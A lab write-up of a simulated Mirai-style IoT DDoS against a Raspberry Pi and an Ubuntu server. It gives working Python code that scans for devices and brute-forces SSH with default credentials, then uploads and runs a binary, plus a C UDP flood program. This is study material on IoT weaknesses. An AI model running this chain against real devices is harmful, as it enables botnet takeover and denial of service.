IoT DDoS Attack
IoT Attack Simulation: A Practical Demonstration
Summary
This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.
Attack Methodology
The attack simulation involves the following steps:
- Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method[1]).
- Execute a brute-force attack to gain unauthorized access to the identified IoT device.
- Upload and execute a payload onto the compromised device to prepare for the attack.
- Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.
- This attack should last for 30seconds and than stop by its self.
Experiment Setup
The experiment setup includes: Hardware: Raspberry Pi 2 as the attacking device This device was used as it simulated an IoT device and reflected the computational limitations of such devices.
Target server configured to monitor incoming traffic An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.
Software: Python scripts for scanning the network and executing brute-force attacks. A compiled C program to launch the UDP Flood attack. Network monitoring tool tcpdump to observe the impact of the attack.

Description of the Process
1. **Scanning the Network:**
Using Python, a network scan was conducted to detect active devices in the local subnet. Each device's IP address and open ports were recorded for further analysis.
The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:
def find_raspberry_pi():
print("Scanning network...\n")
nm = nmap.PortScanner()
raspberry_mac_prefix = "B8:27:EB".lower()
network_range = '192.168.1.0/24'
# Conducting the scan
nm.scan(hosts=network_range, arguments='-p 22,80,8080 -sS')
raspberry_ip = None
for host in nm.all_hosts():
print(f"Scanning host {host}...")
if 'addresses' in nm[host] and 'mac' in nm[host]['addresses']:
mac_address = nm[host]['addresses']['mac'].lower()
print(f"Host {host} has MAC address {mac_address}")
if mac_address.startswith(raspberry_mac_prefix):
print(f"\nRaspberry Pi found: {host} with MAC address {mac_address}\n")
raspberry_ip = host
print("\nScan complete.")
input("\n[Press Enter to proceed with brute-force...]\n")
return raspberry_ip
2. **Brute-Force Attack:**
A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.
# Brute-Force
def ssh_brute_force(ip):
print(f"\nStarte Brute-Force-Angriff auf {ip}...\n")
port = 22
usernames = ['admin', 'user']
passwords = ['1234', 'admin', 'password']
local_file = "C:/Users/julia/Documents/VSCode/AKITS_BOT/akits/udp_flood"
remote_path = f"/home/admin/udp_flood"
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for username in usernames:
for password in passwords:
try:
print(f"Versuche: {username}:{password}")
ssh.connect(ip, port=port, username=username, password=password, timeout=3)
print(f"\nErfolgreich! Benutzer: {username}, Passwort: {password}\n")
input("\n[Datei hochladen? Drücke Enter, um fortzufahren...]\n")
upload_and_execute(ssh, username, local_file, remote_path)
return
except paramiko.AuthenticationException:
print(f"Fehlgeschlagen für: {username}:{password}")
except Exception as e:
print(f"Fehler: {e}")
ssh.close()
3. **Executing the Attack:**
The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.
def upload_and_execute(ssh, username, local_file, remote_path):
try:
sftp = ssh.open_sftp()
if os.path.exists(local_file):
print(f"Datei gefunden: {local_file}")
else:
print(f"Datei nicht gefunden: {local_file}")
return
print(f"Lade {local_file} auf {remote_path} hoch...\n")
sftp.put(local_file, remote_path)
ssh.exec_command(f"chmod +x {remote_path}")
input("\n[Achtung: Nach der nächsten Bestätigung beginnt der Flooding-Angriff. Drücke Enter, um fortzufahren...]\n")
print(f"\nFühre {remote_path} aus...\n")
stdin, stdout, stderr = ssh.exec_command(f"{remote_path}")
print(stdout.read().decode())
print(stderr.read().decode())
sftp.close()
ssh.close()
print("\nDatei erfolgreich hochgeladen und ausgeführt.")
except Exception as e:
print(f"Fehler bei der Übertragung und Ausführung der Datei: {e}")
# Hauptlogik
raspberry_ip = find_raspberry_pi()
if raspberry_ip:
ssh_brute_force(raspberry_ip)
else:
print("\nKein Raspberry Pi gefunden. Das Skript wird beendet.")
The C Script
This script was the one actually uploaded to the Raspberry Pi 2 and executed. It is important to note that this script was not uploaded in its current form but first needed to be converted into a native binary format that the Raspberry Pi 2 can execute. This process has the significant advantage of removing the need for the Raspberry Pi 2 to convert the code into machine language during execution. The binary is already fully prepared to run as-is.
To achieve this, I used the GCC tool on Linux (Ubuntu). The exact command was:
arm-linux-gnueabihf-gcc -o udp_flood udp_flood.c
This command converts a file named udp_flood.c into a native binary called udp_flood, which can be executed directly by the Raspberry Pi 2.
It is crucial to take extra care here because the Raspberry Pi 2 runs Linux on an ARM chip, which requires using the appropriate cross-compiler (arm-linux-gnueabihf-gcc) to ensure compatibility with its architecture.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h> // Für sleep-Funktion
int main() {
int sock;
struct sockaddr_in target;
char message[1024];
time_t start_time, current_time;
// Vordefinierte Ziel-IP und Ziel-Port
char target_ip[] = "192.168.1.238"; // Ziel-IP hier festlegen
int target_port = 22; // Ziel-Port hier festlegen
// Fülle die Nachricht mit Dummy-Daten
memset(message, 'X', sizeof(message));
// Erstelle das UDP-Socket
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
perror("Socket konnte nicht erstellt werden");
exit(1);
}
// Setze die Ziel-IP und den Port
target.sin_family = AF_INET;
target.sin_port = htons(target_port);
target.sin_addr.s_addr = inet_addr(target_ip);
printf("Starte UDP-Flood auf %s:%d für 30 Sekunden\n", target_ip, target_port);
// Starte die Zeitmessung
time(&start_time);
// Sende Pakete für 30 Sekunden
do {
sendto(sock, message, sizeof(message), 0, (struct sockaddr *)&target, sizeof(target));
time(¤t_time);
} while (difftime(current_time, start_time) < 30); // Laufzeit 30 Sekunden
printf("UDP-Flooding-Angriff beendet.\n");
close(sock); // Schließe das Socket
return 0;
}
4. **Monitoring the Network:**
This experiment was conducted under two conditions: 1. Without resource limitations on the target device (Ubuntu server). 2. With network throttling applied to the target device to simulate a stronger attack.
Findings
Under Condition 1 the attack occurred, but the server processed the traffic without significant disruption. It could handle the incoming packets and was able to be connected the whole time.

Under Condition 2, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users. Some packets were able to come througth. But none of the pings that were sent to the target.

Conclusion
This scenario is, of course, not at a level to execute actual attacks or pose any real-world threats. However, what it has impressively demonstrated is the capability to simulate an effective and practical IoT-based attack with minimal resources. Using less than 100 lines of code, the experiment replicated techniques employed by well-known botnets, such as Mirai and Carna, to highlight the simplicity and accessibility of such methods.
What makes this demonstration particularly striking is the low barrier to entry—leveraging common tools like Python and nmap alongside a Raspberry Pi, a device readily available and inexpensive. This underscores the reality that even basic hardware and software setups can exploit common IoT vulnerabilities, such as weak authentication mechanisms and open network ports.
While the attack itself was conducted under controlled and ethical conditions, it illustrates how quickly a targeted device could be identified, compromised, and weaponized to disrupt other systems. The experiment serves as a sobering reminder of the real-world risks posed by insecure IoT devices and the need for robust security measures to mitigate such threats.